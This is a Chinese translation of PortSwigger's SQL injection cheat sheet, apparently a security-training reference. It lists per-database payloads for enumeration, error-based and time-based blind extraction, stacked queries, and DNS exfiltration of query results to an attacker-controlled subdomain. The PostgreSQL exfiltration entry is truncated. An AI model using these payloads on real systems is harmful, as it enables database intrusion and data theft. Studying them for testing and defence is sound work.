SQL注入备忘单
# SQL注入备忘单
翻译
原文:https://portswigger.net/web-security/sql-injection/cheat-sheet
- name: 翻译
desc: 原文:https://portswigger.net/web-security/sql-injection/cheat-sheet
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
此SQL注入 (opens new window)备忘单 包含一些有用的语法示例,你可以使用这些语法来执行 SQL 注入攻击时经常出现的各种任务。
# 1.1字符串拼接
将多个字符串连接在一起,以创建单个字符串
数据库类型 | 语法 |
---|---|
Oracle | 'foo'||'bar' |
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL | 1、'foo' 'bar' (注意中间的空格) 2、 CONCAT('foo', 'bar') |
# 1.2字符串截取
你可以从 具有指定长度的指定偏移量中 提取字符串的一部分。请注意,偏移索引从 1 开始。以下每个表达式都将返回字符串ba
。
数据库类型 | 语法 |
---|---|
Oracle | SUBSTR('foobar', 4, 2) |
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
# 1.3注释
你可以使用注释 截断查询,并删除原始查询中 跟随输入的部分。
数据库类型 | 语法 |
---|---|
Oracle | --comment |
Microsoft | --comment |
PostgreSQL | --comment |
MySQL | 1、#comment 2、 -- comment (注意双破折号后面的空格) 3、 /*comment*/ |
# 1.4数据库版本
你可以查询数据库 以确定其类型和版本。在制定更复杂的攻击时,此信息非常有用。
数据库类型 | 语法 |
---|---|
Oracle | 1、SELECT banner FROM v$version 2、 SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
# 1.5数据库内容
你可以列出数据库中存在的表,以及这些表所包含的列。
数据库类型 | 语法 |
---|---|
Oracle | 1、SELECT * FROM all_tables 2、 SELECT * FROM all_tab_columns WHERE table_name = '表名' |
Microsoft | 1、SELECT * FROM information_schema.tables 2、 SELECT * FROM information_schema.columns WHERE table_name = '表名' |
PostgreSQL | 1、SELECT * FROM information_schema.tables 2、 SELECT * FROM information_schema.columns WHERE table_name = '表名' |
MySQL | 1、SELECT * FROM information_schema.tables 2、 SELECT * FROM information_schema.columns WHERE table_name = '表名' |
# 1.6条件错误
你可以测试单个布尔条件,并在条件为 true 时触发数据库错误。
数据库类型 | 语法 |
---|---|
Oracle | SELECT CASE WHEN (你的条件) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
Microsoft | SELECT CASE WHEN (你的条件) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (你的条件) THEN 1/(SELECT 0) ELSE NULL END) |
MySQL | SELECT IF(你的条件, (SELECT table_name FROM information_schema.tables), 'a') |
# 1.7通过可见的错误消息提取数据
你可能会引发错误消息,从而泄露恶意查询中返回的敏感数据。
数据库类型 | 语法 |
---|---|
Oracle | 暂无 |
Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') 输出: > Conversion failed when converting the varchar value 'secret' to data type int. |
PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) 输出: > invalid input syntax for integer: "secret" |
MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) 输出: > XPATH syntax error: '\secret' |
# 1.8批处理(堆叠)查询
你可以使用批处理查询 连续执行多个查询。请注意,在执行后续查询时,不会将结果返回给应用程序。因此,此技术主要用于盲注漏洞,在这种情况下,你可以使用第二个查询来触发 DNS 查找、条件错误或时间延迟。
数据库类型 | 语法 |
---|---|
Oracle | 不支持批处理查询 |
Microsoft | 查询1; 查询2 |
PostgreSQL | 查询1; 查询2 |
MySQL | 查询1; 查询2 |
笔记
对于 MySQL,批处理查询通常不能用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python api 与 MySQL 数据库通信,则偶尔可能会出现这种情况。
# 1.9时间延迟
在处理查询时,可以在数据库中造成时间延迟。以下操作将导致 10 秒的无条件时间延迟。
数据库类型 | 语法 |
---|---|
Oracle | dbms_pipe.receive_message(('a'), 10) |
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
# 1.10带条件的时间延迟
你可以测试单个布尔条件,并在条件为 true 时触发时间延迟。
数据库类型 | 语法 |
---|---|
Oracle | SELECT CASE WHEN (你的条件) THEN 'a'||dbms_pipe.receive_message(('a'), 10) ELSE NULL END FROM dual |
Microsoft | IF (你的条件) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (你的条件) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(你的条件, SLEEP(10), 'a') |
# 1.11DNS查询
可以使数据库对外部域执行 DNS 查找。为此,你需要使用Burp Collaborator (opens new window)来生成一个唯一的 Burp Collaborator 子域,你将在攻击中使用该子域,然后轮询 Collaborator 服务器以确认发生了 DNS 查找。
数据库类型 | 语法 |
---|---|
Oracle | 以下技术利用 XML 外部实体(XXE)漏洞来触发 DNS 查找。该漏洞已修补,但存在许多未修补的 Oracle 安装版本:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://子域名/"> %remote;]>'),'/l') FROM dual 以下技术适用于完全修补的 Oracle 安装版本,但需要更高的权限: SELECT UTL_INADDR.get_host_address('子域名') |
Microsoft | exec master..xp_dirtree '//子域名/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup 子域名' |
MySQL | 以下技术仅适用于 Windows: 1、 LOAD_FILE('\\\\子域名\\a') 2、 SELECT ... INTO OUTFILE '\\\\子域名\a' |
# 1.12带有数据泄露的 DNS 查询
可以使数据库对包含注入查询结果的外部域执行 DNS 查找。为此,你需要使用Burp Collaborator (opens new window)来生成一个唯一的 Burp Collaborator 子域,你将在攻击中使用该子域,然后轮询 Collaborator 服务器以检索任何 DNS 交互的详细信息,包括泄露的数据。
数据库类型 | 语法 |
---|---|
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT 你的查询)||'.子域名/"> %remote;]>'),'/l') FROM dual |
Microsoft | declare @p varchar(1024);set @p=(SELECT 你的查询);exec('master..xp_dirtree "//'+@p+'.子域名/a"') |
PostgreSQL | create OR replace function f() returns void as $$ |
MySQL | 以下技术仅适用于 Windows: SELECT 你的查询 INTO OUTFILE '\\\\子域名\a' |